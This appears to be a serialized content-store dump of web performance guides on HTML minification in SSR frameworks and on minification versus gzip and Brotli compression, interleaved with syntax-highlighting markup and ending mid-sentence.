removeRedundantAttributes: true,\n  collapseBooleanAttributes: true,\n})\n",[143,124938,124939,124944,124965,124969,124985,124994,125003,125012,125021,125030],{"__ignoreMap":141},[1560,124940,124941],{"class":1562,"line":1563},[1560,124942,124943],{"class":1649},"\u002F\u002F Example: html-minifier-terser\n",[1560,124945,124946,124948,124950,124952,124954,124956,124958,124960,124963],{"class":1562,"line":337},[1560,124947,8180],{"class":1669},[1560,124949,1658],{"class":1570},[1560,124951,49630],{"class":1576},[1560,124953,49704],{"class":1570},[1560,124955,7297],{"class":1669},[1560,124957,20658],{"class":1566},[1560,124959,1688],{"class":1570},[1560,124961,124962],{"class":5634},"'html-minifier-terser'",[1560,124964,8252],{"class":1570},[1560,124966,124967],{"class":1562,"line":343},[1560,124968,1702],{"emptyLinePlaceholder":363},[1560,124970,124971,124973,124975,124977,124979,124982],{"class":1562,"line":365},[1560,124972,8180],{"class":1669},[1560,124974,80830],{"class":1576},[1560,124976,8186],{"class":1669},[1560,124978,28065],{"class":1669},[1560,124980,124981],{"class":1566}," minify",[1560,124983,124984],{"class":1570},"(html, {\n",[1560,124986,124987,124990,124992],{"class":1562,"line":889},[1560,124988,124989],{"class":1570},"  collapseWhitespace: ",[1560,124991,20533],{"class":1576},[1560,124993,11943],{"class":1570},[1560,124995,124996,124999,125001],{"class":1562,"line":1710},[1560,124997,124998],{"class":1570},"  removeComments: ",[1560,125000,20533],{"class":1576},[1560,125002,11943],{"class":1570},[1560,125004,125005,125008,125010],{"class":1562,"line":1717},[1560,125006,125007],{"class":1570},"  removeOptionalTags: ",[1560,125009,20533],{"class":1576},[1560,125011,11943],{"class":1570},[1560,125013,125014,125017,125019],{"class":1562,"line":1747},[1560,125015,125016],{"class":1570},"  removeRedundantAttributes: ",[1560,125018,20533],{"class":1576},[1560,125020,11943],{"class":1570},[1560,125022,125023,125026,125028],{"class":1562,"line":2507},[1560,125024,125025],{"class":1570},"  collapseBooleanAttributes: ",[1560,125027,20533],{"class":1576},[1560,125029,11943],{"class":1570},[1560,125031,125032],{"class":1562,"line":2524},[1560,125033,1626],{"class":1570},[11,125035,1355],{"id":1354},[41,125037,125038,125041,125044,125047,125050,125058],{},[44,125039,125040],{},"HTML minification removes whitespace, comments, and optional tags to shrink file size by 15–35%",[44,125042,125043],{},"It is the safest form of minification — no logic changes, no variable renaming",[44,125045,125046],{},"SSR apps benefit from minifying server-rendered HTML to reduce response size",[44,125048,125049],{},"CDNs can auto-minify, but build-time minification is faster and more predictable",[44,125051,125052,125053,1459,125055,125057],{},"Always protect ",[143,125054,7479],{},[143,125056,124163],{},", and template syntax from minification",[44,125059,125060],{},"Combine HTML minification with gzip or Brotli compression for maximum savings",[11,125062,321],{"id":320},[41,125064,125065,125071,125077],{},[44,125066,125067],{},[98,125068,125070],{"href":125069},"\u002Fguides\u002Fhtml-whitespace-optimization","HTML Whitespace and Comment Optimization Techniques",[44,125072,125073],{},[98,125074,125076],{"href":125075},"\u002Fguides\u002Fweb-performance-basics","Web Performance Basics: From First Byte to Interactive",[44,125078,125079],{},[98,125080,21351],{"href":21350},[11,125082,286],{"id":285},[16,125084,125085,125086,125089],{},"Reduce your HTML file sizes instantly with our free ",[98,125087,125088],{"href":124175},"HTML Minifier"," tool. Paste your markup, configure the options, and get minified output in seconds.",[2043,125091,125092],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":125094},[125095,125096,125097,125098,125099,125100,125101,125102,125103,125104,125105,125106],{"id":124201,"depth":337,"text":124202},{"id":124211,"depth":337,"text":124212},{"id":124283,"depth":337,"text":124284},{"id":124606,"depth":337,"text":124607},{"id":124695,"depth":337,"text":124696},{"id":124730,"depth":337,"text":124731},{"id":124797,"depth":337,"text":124798},{"id":124850,"depth":337,"text":124851},{"id":124904,"depth":337,"text":124905},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how HTML minification removes whitespace, comments, and optional tags to shrink page size and speed up loading times.",{"immutable":363},{"title":124196,"description":125107},"guides\u002Fhtml-minification-guide","q-tXk5iIIGX55iplpEik3zyeOgDGTQ-zq4iMrAKy13A",{"id":125113,"title":125114,"body":125115,"date":2070,"description":125777,"extension":361,"meta":125778,"navigation":363,"path":125779,"readingTime":1710,"seo":125780,"stem":125781,"__hash__":125782},"guides\u002Fguides\u002Fhtml-minification-ssr.md","HTML Minification in SSR Frameworks",{"type":8,"value":125116,"toc":125767},[125117,125120,125124,125127,125371,125374,125518,125521,125525,125528,125530,125540,125560,125567,125634,125637,125640,125646,125650,125661,125665,125668,125671,125737,125751,125755,125758,125764],[16,125118,125119],{},"Server-side rendering frameworks generate HTML on every request or at build time for static sites. The resulting HTML often contains unnecessary whitespace, comments, and redundant attributes that bloat page weight. HTML minification removes this overhead, but integrating it into an SSR pipeline requires understanding how each framework handles the build and delivery stages differently.",[11,125121,125123],{"id":125122},"why-ssr-output-needs-minification","Why SSR Output Needs Minification",[16,125125,125126],{},"A typical server-rendered HTML document contains far more bytes than necessary for the browser to parse it correctly. Consider this Nuxt-generated snippet:",[135,125128,125130],{"className":6417,"code":125129,"language":6419,"meta":141,"style":141},"\u003C!DOCTYPE html>\n\u003Chtml lang=\"en\">\n  \u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    \u003C!-- Hydration marker -->\n    \u003Cmeta name=\"head:count\" content=\"3\">\n    \u003Ctitle>My App\u003C\u002Ftitle>\n  \u003C\u002Fhead>\n  \u003Cbody>\n    \u003Cdiv id=\"__nuxt\">\n      \u003Cdiv class=\"page\">\n        \u003Ch1>  Hello World  \u003C\u002Fh1>\n        \u003Cp>Some content here\u003C\u002Fp>\n      \u003C\u002Fdiv>\n    \u003C\u002Fdiv>\n    \u003Cscript type=\"module\" src=\"\u002F_nuxt\u002Fentry.js\">\u003C\u002Fscript>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[143,125131,125132,125142,125156,125164,125178,125199,125204,125226,125239,125247,125255,125270,125284,125298,125311,125320,125328,125355,125363],{"__ignoreMap":141},[1560,125133,125134,125136,125138,125140],{"class":1562,"line":1563},[1560,125135,108789],{"class":1570},[1560,125137,108792],{"class":2484},[1560,125139,108795],{"class":1566},[1560,125141,6441],{"class":1570},[1560,125143,125144,125146,125148,125150,125152,125154],{"class":1562,"line":337},[1560,125145,6431],{"class":1570},[1560,125147,6419],{"class":2484},[1560,125149,17372],{"class":1566},[1560,125151,7297],{"class":1570},[1560,125153,108810],{"class":5634},[1560,125155,6441],{"class":1570},[1560,125157,125158,125160,125162],{"class":1562,"line":343},[1560,125159,11223],{"class":1570},[1560,125161,40984],{"class":2484},[1560,125163,6441],{"class":1570},[1560,125165,125166,125168,125170,125172,125174,125176],{"class":1562,"line":365},[1560,125167,12292],{"class":1570},[1560,125169,108827],{"class":2484},[1560,125171,108830],{"class":1566},[1560,125173,7297],{"class":1570},[1560,125175,123596],{"class":5634},[1560,125177,6441],{"class":1570},[1560,125179,125180,125182,125184,125186,125188,125190,125192,125194,125197],{"class":1562,"line":889},[1560,125181,12292],{"class":1570},[1560,125183,108827],{"class":2484},[1560,125185,108846],{"class":1566},[1560,125187,7297],{"class":1570},[1560,125189,108851],{"class":5634},[1560,125191,108854],{"class":1566},[1560,125193,7297],{"class":1570},[1560,125195,125196],{"class":5634},"\"width=device-width, initial-scale=1\"",[1560,125198,6441],{"class":1570},[1560,125200,125201],{"class":1562,"line":1710},[1560,125202,125203],{"class":1649},"    \u003C!-- Hydration marker -->\n",[1560,125205,125206,125208,125210,125212,125214,125217,125219,125221,125224],{"class":1562,"line":1717},[1560,125207,12292],{"class":1570},[1560,125209,108827],{"class":2484},[1560,125211,108846],{"class":1566},[1560,125213,7297],{"class":1570},[1560,125215,125216],{"class":5634},"\"head:count\"",[1560,125218,108854],{"class":1566},[1560,125220,7297],{"class":1570},[1560,125222,125223],{"class":5634},"\"3\"",[1560,125225,6441],{"class":1570},[1560,125227,125228,125230,125232,125235,125237],{"class":1562,"line":1747},[1560,125229,12292],{"class":1570},[1560,125231,108868],{"class":2484},[1560,125233,125234],{"class":1570},">My App\u003C\u002F",[1560,125236,108868],{"class":2484},[1560,125238,6441],{"class":1570},[1560,125240,125241,125243,125245],{"class":1562,"line":2507},[1560,125242,12331],{"class":1570},[1560,125244,40984],{"class":2484},[1560,125246,6441],{"class":1570},[1560,125248,125249,125251,125253],{"class":1562,"line":2524},[1560,125250,11223],{"class":1570},[1560,125252,2485],{"class":2484},[1560,125254,6441],{"class":1570},[1560,125256,125257,125259,125261,125263,125265,125268],{"class":1562,"line":2529},[1560,125258,12292],{"class":1570},[1560,125260,7291],{"class":2484},[1560,125262,43519],{"class":1566},[1560,125264,7297],{"class":1570},[1560,125266,125267],{"class":5634},"\"__nuxt\"",[1560,125269,6441],{"class":1570},[1560,125271,125272,125274,125276,125278,125280,125282],{"class":1562,"line":2534},[1560,125273,124434],{"class":1570},[1560,125275,7291],{"class":2484},[1560,125277,11423],{"class":1566},[1560,125279,7297],{"class":1570},[1560,125281,86685],{"class":5634},[1560,125283,6441],{"class":1570},[1560,125285,125286,125289,125291,125294,125296],{"class":1562,"line":2542},[1560,125287,125288],{"class":1570},"        \u003C",[1560,125290,41446],{"class":2484},[1560,125292,125293],{"class":1570},">  Hello World  \u003C\u002F",[1560,125295,41446],{"class":2484},[1560,125297,6441],{"class":1570},[1560,125299,125300,125302,125304,125307,125309],{"class":1562,"line":2558},[1560,125301,125288],{"class":1570},[1560,125303,16],{"class":2484},[1560,125305,125306],{"class":1570},">Some content here\u003C\u002F",[1560,125308,16],{"class":2484},[1560,125310,6441],{"class":1570},[1560,125312,125313,125316,125318],{"class":1562,"line":2570},[1560,125314,125315],{"class":1570},"      \u003C\u002F",[1560,125317,7291],{"class":2484},[1560,125319,6441],{"class":1570},[1560,125321,125322,125324,125326],{"class":1562,"line":6638},[1560,125323,124461],{"class":1570},[1560,125325,7291],{"class":2484},[1560,125327,6441],{"class":1570},[1560,125329,125330,125332,125334,125337,125339,125342,125344,125346,125349,125351,125353],{"class":1562,"line":11615},[1560,125331,12292],{"class":1570},[1560,125333,11475],{"class":2484},[1560,125335,125336],{"class":1566}," type",[1560,125338,7297],{"class":1570},[1560,125340,125341],{"class":5634},"\"module\"",[1560,125343,10631],{"class":1566},[1560,125345,7297],{"class":1570},[1560,125347,125348],{"class":5634},"\"\u002F_nuxt\u002Fentry.js\"",[1560,125350,12441],{"class":1570},[1560,125352,11475],{"class":2484},[1560,125354,6441],{"class":1570},[1560,125356,125357,125359,125361],{"class":1562,"line":11621},[1560,125358,12331],{"class":1570},[1560,125360,2485],{"class":2484},[1560,125362,6441],{"class":1570},[1560,125364,125365,125367,125369],{"class":1562,"line":11633},[1560,125366,11242],{"class":1570},[1560,125368,6419],{"class":2484},[1560,125370,6441],{"class":1570},[16,125372,125373],{},"After minification, the same document shrinks considerably:",[135,125375,125377],{"className":6417,"code":125376,"language":6419,"meta":141,"style":141},"\u003C!DOCTYPE html>\u003Chtml lang=\"en\">\u003Chead>\u003Cmeta charset=\"utf-8\">\u003Cmeta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\u003Ctitle>My App\u003C\u002Ftitle>\u003C\u002Fhead>\u003Cbody>\u003Cdiv id=\"__nuxt\">\u003Cdiv class=\"page\">\u003Ch1>Hello World\u003C\u002Fh1>\u003Cp>Some content here\u003C\u002Fp>\u003C\u002Fdiv>\u003C\u002Fdiv>\u003Cscript type=\"module\" src=\"\u002F_nuxt\u002Fentry.js\">\u003C\u002Fscript>\u003C\u002Fbody>\u003C\u002Fhtml>\n",[143,125378,125379],{"__ignoreMap":141},[1560,125380,125381,125383,125385,125387,125389,125391,125393,125395,125397,125399,125401,125403,125405,125407,125409,125411,125413,125415,125417,125419,125421,125423,125425,125428,125430,125432,125434,125436,125438,125440,125442,125444,125446,125448,125450,125452,125454,125456,125458,125460,125462,125464,125466,125468,125470,125472,125474,125476,125478,125480,125482,125484,125486,125488,125490,125492,125494,125496,125498,125500,125502,125504,125506,125508,125510,125512,125514,125516],{"class":1562,"line":1563},[1560,125382,108789],{"class":1570},[1560,125384,108792],{"class":2484},[1560,125386,108795],{"class":1566},[1560,125388,41257],{"class":1570},[1560,125390,6419],{"class":2484},[1560,125392,17372],{"class":1566},[1560,125394,7297],{"class":1570},[1560,125396,108810],{"class":5634},[1560,125398,41257],{"class":1570},[1560,125400,40984],{"class":2484},[1560,125402,41257],{"class":1570},[1560,125404,108827],{"class":2484},[1560,125406,108830],{"class":1566},[1560,125408,7297],{"class":1570},[1560,125410,123596],{"class":5634},[1560,125412,41257],{"class":1570},[1560,125414,108827],{"class":2484},[1560,125416,108846],{"class":1566},[1560,125418,7297],{"class":1570},[1560,125420,108851],{"class":5634},[1560,125422,108854],{"class":1566},[1560,125424,7297],{"class":1570},[1560,125426,125427],{"class":5634},"\"width=device-width,initial-scale=1\"",[1560,125429,41257],{"class":1570},[1560,125431,108868],{"class":2484},[1560,125433,125234],{"class":1570},[1560,125435,108868],{"class":2484},[1560,125437,12441],{"class":1570},[1560,125439,40984],{"class":2484},[1560,125441,41257],{"class":1570},[1560,125443,2485],{"class":2484},[1560,125445,41257],{"class":1570},[1560,125447,7291],{"class":2484},[1560,125449,43519],{"class":1566},[1560,125451,7297],{"class":1570},[1560,125453,125267],{"class":5634},[1560,125455,41257],{"class":1570},[1560,125457,7291],{"class":2484},[1560,125459,11423],{"class":1566},[1560,125461,7297],{"class":1570},[1560,125463,86685],{"class":5634},[1560,125465,41257],{"class":1570},[1560,125467,41446],{"class":2484},[1560,125469,124404],{"class":1570},[1560,125471,41446],{"class":2484},[1560,125473,41257],{"class":1570},[1560,125475,16],{"class":2484},[1560,125477,125306],{"class":1570},[1560,125479,16],{"class":2484},[1560,125481,12441],{"class":1570},[1560,125483,7291],{"class":2484},[1560,125485,12441],{"class":1570},[1560,125487,7291],{"class":2484},[1560,125489,41257],{"class":1570},[1560,125491,11475],{"class":2484},[1560,125493,125336],{"class":1566},[1560,125495,7297],{"class":1570},[1560,125497,125341],{"class":5634},[1560,125499,10631],{"class":1566},[1560,125501,7297],{"class":1570},[1560,125503,125348],{"class":5634},[1560,125505,12441],{"class":1570},[1560,125507,11475],{"class":2484},[1560,125509,12441],{"class":1570},[1560,125511,2485],{"class":2484},[1560,125513,12441],{"class":1570},[1560,125515,6419],{"class":2484},[1560,125517,6441],{"class":1570},[16,125519,125520],{},"The savings range from 15-30% depending on the amount of whitespace and comments in the original output. For high-traffic sites, this reduction translates to meaningful bandwidth savings and faster Time to First Byte (TTFB), especially on mobile networks.",[11,125522,125524],{"id":125523},"framework-specific-minification","Framework-Specific Minification",[16,125526,125527],{},"Each major SSR framework handles HTML minification differently, and the approachdepends on whether the output is generated at build time (SSG) or request time (SSR).",[33,125529,9617],{"id":8946},[16,125531,125532,125533,125536,125537,125539],{},"Nuxt uses Vite (or Webpack) for builds. For static generation (",[143,125534,125535],{},"nuxt generate","), the HTML output passes through Vite's built-in HTML minification, which is powered by ",[143,125538,124722],{},". In production mode, Vite automatically minifies HTML with sensible defaults:",[41,125541,125542,125544,125547,125550,125555],{},[44,125543,69817],{},[44,125545,125546],{},"Collapses whitespace",[44,125548,125549],{},"Removes optional tags",[44,125551,125552,125553,124277],{},"Minifies CSS inside ",[143,125554,41299],{},[44,125556,125557,125558,124277],{},"Minifies JS inside ",[143,125559,34727],{},[16,125561,125562,125563,125566],{},"For dynamic SSR (",[143,125564,125565],{},"nuxt build"," + server), the Nitro server renders HTML on each request. By default, Nitro does not minify this output because minification adds latency to every response. To enable it, configure Nitro's HTML transformation:",[135,125568,125570],{"className":17509,"code":125569,"language":17511,"meta":141,"style":141},"\u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({\n  nitro: {\n    compressHTML: {\n      minify: true,\n      collapseWhitespace: true,\n      removeComments: true,\n    },\n  },\n})\n",[143,125571,125572,125576,125586,125591,125596,125604,125613,125622,125626,125630],{"__ignoreMap":141},[1560,125573,125574],{"class":1562,"line":1563},[1560,125575,41398],{"class":1649},[1560,125577,125578,125580,125582,125584],{"class":1562,"line":337},[1560,125579,9187],{"class":1669},[1560,125581,11837],{"class":1669},[1560,125583,41407],{"class":1566},[1560,125585,17525],{"class":1570},[1560,125587,125588],{"class":1562,"line":343},[1560,125589,125590],{"class":1570},"  nitro: {\n",[1560,125592,125593],{"class":1562,"line":365},[1560,125594,125595],{"class":1570},"    compressHTML: {\n",[1560,125597,125598,125600,125602],{"class":1562,"line":889},[1560,125599,50388],{"class":1570},[1560,125601,20533],{"class":1576},[1560,125603,11943],{"class":1570},[1560,125605,125606,125609,125611],{"class":1562,"line":1710},[1560,125607,125608],{"class":1570},"      collapseWhitespace: ",[1560,125610,20533],{"class":1576},[1560,125612,11943],{"class":1570},[1560,125614,125615,125618,125620],{"class":1562,"line":1717},[1560,125616,125617],{"class":1570},"      removeComments: ",[1560,125619,20533],{"class":1576},[1560,125621,11943],{"class":1570},[1560,125623,125624],{"class":1562,"line":1747},[1560,125625,17600],{"class":1570},[1560,125627,125628],{"class":1562,"line":2507},[1560,125629,11862],{"class":1570},[1560,125631,125632],{"class":1562,"line":2524},[1560,125633,1626],{"class":1570},[16,125635,125636],{},"The performance trade-off is real: minifying HTML on every request adds roughly 1-3ms per page on a typical server. For most applications, this is negligible, but high-throughput APIs serving thousands of requests per second should benchmark the impact.",[33,125638,9630],{"id":125639},"nextjs",[16,125641,125642,125643,125645],{},"Next.js uses ",[143,125644,124722],{}," for static pages generated at build time. For server-rendered pages, Next.js does not minify HTML by default. You can add a custom server middleware to minify responses, but the Next.js team recommends handling this at the CDN or reverse proxy level instead.",[33,125647,125649],{"id":125648},"sveltekit","SvelteKit",[16,125651,125652,125653,125656,125657,125660],{},"SvelteKit's adapter-static generates pre-rendered HTML that Vite minifies automatically. For the adapter-node server, SvelteKit includes a ",[143,125654,125655],{},"polyfill:"," option but does not provide built-in HTML minification for dynamic responses. The recommended approach is to use a reverse proxy like Nginx with the ",[143,125658,125659],{},"sub_filter"," module or a CDN with on-the-fly minification.",[11,125662,125664],{"id":125663},"minification-and-hydration","Minification and Hydration",[16,125666,125667],{},"SSR frameworks inject hydration markers and inline data into the HTML to enable client-side interactivity. Minification must preserve these artifacts, or hydration fails silently or produces mismatches.",[16,125669,125670],{},"Key artifacts to preserve:",[193,125672,125673,125685],{},[196,125674,125675],{},[199,125676,125677,125680,125683],{},[202,125678,125679],{},"Framework",[202,125681,125682],{},"Artifact",[202,125684,2758],{},[211,125686,125687,125699,125712,125725],{},[199,125688,125689,125691,125696],{},[216,125690,9617],{},[216,125692,125693,11538],{},[143,125694,125695],{},"__nuxt",[216,125697,125698],{},"Mount point for Vue app",[199,125700,125701,125703,125709],{},[216,125702,9617],{},[216,125704,125705,125708],{},[143,125706,125707],{},"data-ssr"," attributes",[216,125710,125711],{},"Hydration state tracking",[199,125713,125714,125716,125722],{},[216,125715,9630],{},[216,125717,125718,125721],{},[143,125719,125720],{},"__NEXT_DATA__"," script",[216,125723,125724],{},"Serialized page props",[199,125726,125727,125729,125734],{},[216,125728,125649],{},[216,125730,125731,125708],{},[143,125732,125733],{},"sveltekit:data",[216,125735,125736],{},"Hydration data",[16,125738,125739,125740,125743,125744,125746,125747,125750],{},"Most minifiers handle these correctly by default because they preserve ",[143,125741,125742],{},"data-*"," attributes and ",[143,125745,34727],{}," tag content. However, if you configure aggressive options like ",[143,125748,125749],{},"removeAttributeQuotes",", you may break attribute-based hydration markers that expect exact quoting.",[11,125752,125754],{"id":125753},"recommendations","Recommendations",[16,125756,125757],{},"For statically generated sites, rely on your framework's built-in build-time minification—no additional configuration needed. For dynamic SSR, enable server-side minification only if you have measured the latency impact. The simplest and most performant approach for dynamic SSR is to delegate HTML minification to your CDN, which can minify at the edge without adding origin server latency.",[16,125759,125760,125761,125763],{},"To minify HTML snippets or verify minification output, the ",[98,125762,124176],{"href":124175}," provides instant results with configurable options.",[2043,125765,125766],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":125768},[125769,125770,125775,125776],{"id":125122,"depth":337,"text":125123},{"id":125523,"depth":337,"text":125524,"children":125771},[125772,125773,125774],{"id":8946,"depth":343,"text":9617},{"id":125639,"depth":343,"text":9630},{"id":125648,"depth":343,"text":125649},{"id":125663,"depth":337,"text":125664},{"id":125753,"depth":337,"text":125754},"How Nuxt, Next.js, and SvelteKit handle HTML minification in production builds.",{},"\u002Fguides\u002Fhtml-minification-ssr",{"title":125114,"description":125777},"guides\u002Fhtml-minification-ssr","XII-14M-Yv6gwTuZP0CSpbu-x1h0VIrg3ZZ8Y97km4c",{"id":125784,"title":125785,"body":125786,"date":2070,"description":126101,"extension":361,"meta":126102,"navigation":363,"path":126103,"readingTime":1710,"seo":126104,"stem":126105,"__hash__":126106},"guides\u002Fguides\u002Fhtml-minification-vs-gzip.md","HTML Minification vs Gzip Compression: Which Saves More?",{"type":8,"value":125787,"toc":126089},[125788,125791,125795,125798,125801,125804,125808,125815,125818,125821,125823,125830,125833,125886,125889,125893,125896,125921,125924,125928,125931,125939,125942,125946,125952,126000,126003,126007,126010,126046,126048,126065,126067,126081,126083],[16,125789,125790],{},"Both HTML minification and gzip compression shrink the size of your web pages, but they attack the problem from completely different angles. One removes unnecessary characters; the other replaces repetitive patterns with short references. Understanding both helps you deploy the right strategy — and use them together for maximum savings.",[11,125792,125794],{"id":125793},"how-html-minification-works","How HTML Minification Works",[16,125796,125797],{},"Minification strips characters that the browser does not need. Whitespace between tags, developer comments, optional closing tags, and redundant attribute quotes all disappear. The output is a smaller file that renders identically.",[16,125799,125800],{},"A typical minification pass reduces HTML size by 15–35%. The savings come purely from deleting bytes — no encoding tricks, no compression algorithms. What remains is still plain-text HTML, just without the formatting humans find helpful.",[16,125802,125803],{},"Minification is deterministic: the same input always produces the same output. You can inspect the result, diff it against the original, and verify that nothing changed semantically.",[11,125805,125807],{"id":125806},"how-gzip-compression-works","How Gzip Compression Works",[16,125809,125810,125811,125814],{},"Gzip takes a different approach. Instead of deleting characters, it finds repeating sequences and replaces them with back-references. If the string ",[143,125812,125813],{},"\u003Cdiv class=\""," appears twelve times in your HTML, gzip stores it once and points to it the other eleven times.",[16,125816,125817],{},"The result is a binary encoding that the browser must decompress before parsing. You never serve gzip-compressed HTML directly to readers — the browser transparently decodes it behind the scenes.",[16,125819,125820],{},"Gzip typically achieves 60–80% compression on HTML files. Brotli, Google's newer algorithm, pushes that to 70–85%. These numbers dwarf minification savings alone — but that does not mean minification is irrelevant.",[11,125822,70143],{"id":70142},[16,125824,125825,125826,125829],{},"Here is the key insight: ",[47,125827,125828],{},"gzip compresses minified files better than unminified ones",". Minification removes the repetitive whitespace and verbose structures that gzip would otherwise waste tokens encoding. After minification, the remaining content is denser, which gives gzip more meaningful patterns to compress.",[16,125831,125832],{},"Consider a real example with a 100 KB HTML file:",[193,125834,125835,125845],{},[196,125836,125837],{},[199,125838,125839,125841,125843],{},[202,125840,98699],{},[202,125842,13021],{},[202,125844,11099],{},[211,125846,125847,125855,125864,125875],{},[199,125848,125849,125851,125853],{},[216,125850,11090],{},[216,125852,21032],{},[216,125854,3060],{},[199,125856,125857,125859,125862],{},[216,125858,70159],{},[216,125860,125861],{},"72 KB",[216,125863,16241],{},[199,125865,125866,125869,125872],{},[216,125867,125868],{},"Gzip only",[216,125870,125871],{},"28 KB",[216,125873,125874],{},"72%",[199,125876,125877,125880,125883],{},[216,125878,125879],{},"Minified + gzip",[216,125881,125882],{},"22 KB",[216,125884,125885],{},"78%",[16,125887,125888],{},"Minification alone saves 28 KB. Gzip alone saves 72 KB. But combining them saves 78 KB — more than either technique achieves on its own. The minified file gzips 6 KB smaller than the unminified file because gzip no longer wastes bits encoding indentation and comments.",[11,125890,125892],{"id":125891},"when-minification-matters-most","When Minification Matters Most",[16,125894,125895],{},"Minification shines in scenarios where gzip is unavailable or less effective:",[41,125897,125898,125904,125910,125916],{},[44,125899,125900,125903],{},[47,125901,125902],{},"Development and staging"," — you may not enable gzip in local environments, so minification is your only size reduction",[44,125905,125906,125909],{},[47,125907,125908],{},"Very small files"," — gzip adds overhead (headers, dictionaries) that can negate compression on files under 1 KB; minification has no such minimum",[44,125911,125912,125915],{},[47,125913,125914],{},"CDN edge caching"," — some edge configurations store uncompressed versions; minified files are smaller to store and transfer",[44,125917,125918,125920],{},[47,125919,13246],{}," — email clients do not support gzip; minification is the only way to reduce payload size",[16,125922,125923],{},"In these contexts, minification is not a nice-to-have — it is the primary optimization.",[11,125925,125927],{"id":125926},"when-gzip-matters-most","When Gzip Matters Most",[16,125929,125930],{},"Gzip delivers the bulk of savings on normal web traffic. If you can only enable one optimization, choose gzip. The numbers are clear:",[41,125932,125933,125936],{},[44,125934,125935],{},"Gzip alone saves 60–80% vs. original",[44,125937,125938],{},"Minification alone saves 15–35% vs. original",[16,125940,125941],{},"Most modern hosting platforms enable gzip by default. Netlify, Vercel, Cloudflare, and AWS CloudFront all support it with minimal configuration. If your host does not, switching to one that does is usually easier than adding minification middleware.",[11,125943,125945],{"id":125944},"brotli-the-next-step","Brotli: The Next Step",[16,125947,125948,125949,125951],{},"Brotli (",[143,125950,7320],{},") outperforms gzip by 15–25% on typical web content. It uses a larger dictionary and more sophisticated algorithms. Major browsers have supported it since 2017.",[193,125953,125954,125965],{},[196,125955,125956],{},[199,125957,125958,125960,125963],{},[202,125959,6081],{},[202,125961,125962],{},"Typical HTML Compression",[202,125964,5512],{},[211,125966,125967,125978,125989],{},[199,125968,125969,125972,125975],{},[216,125970,125971],{},"gzip",[216,125973,125974],{},"70–80%",[216,125976,125977],{},"All browsers",[199,125979,125980,125983,125986],{},[216,125981,125982],{},"Brotli",[216,125984,125985],{},"75–85%",[216,125987,125988],{},"Chrome, Firefox, Edge, Safari 11+",[199,125990,125991,125994,125997],{},[216,125992,125993],{},"Zstd",[216,125995,125996],{},"75–83%",[216,125998,125999],{},"Chrome 123+, Firefox 126+",[16,126001,126002],{},"Enable Brotli if your server supports it — the additional savings are free. Most CDNs offer one-click Brotli activation.",[11,126004,126006],{"id":126005},"practical-implementation","Practical Implementation",[16,126008,126009],{},"To combine minification and compression effectively:",[77,126011,126012,126018,126024,126037],{},[44,126013,126014,126017],{},[47,126015,126016],{},"Minify at build time"," — integrate an HTML minifier into your static site generator or build pipeline",[44,126019,126020,126023],{},[47,126021,126022],{},"Compress at the hosting layer"," — let your CDN or web server handle gzip\u002FBrotli encoding",[44,126025,126026,126029,126030,1856,126033,126036],{},[47,126027,126028],{},"Pre-compress static assets"," — some build tools generate 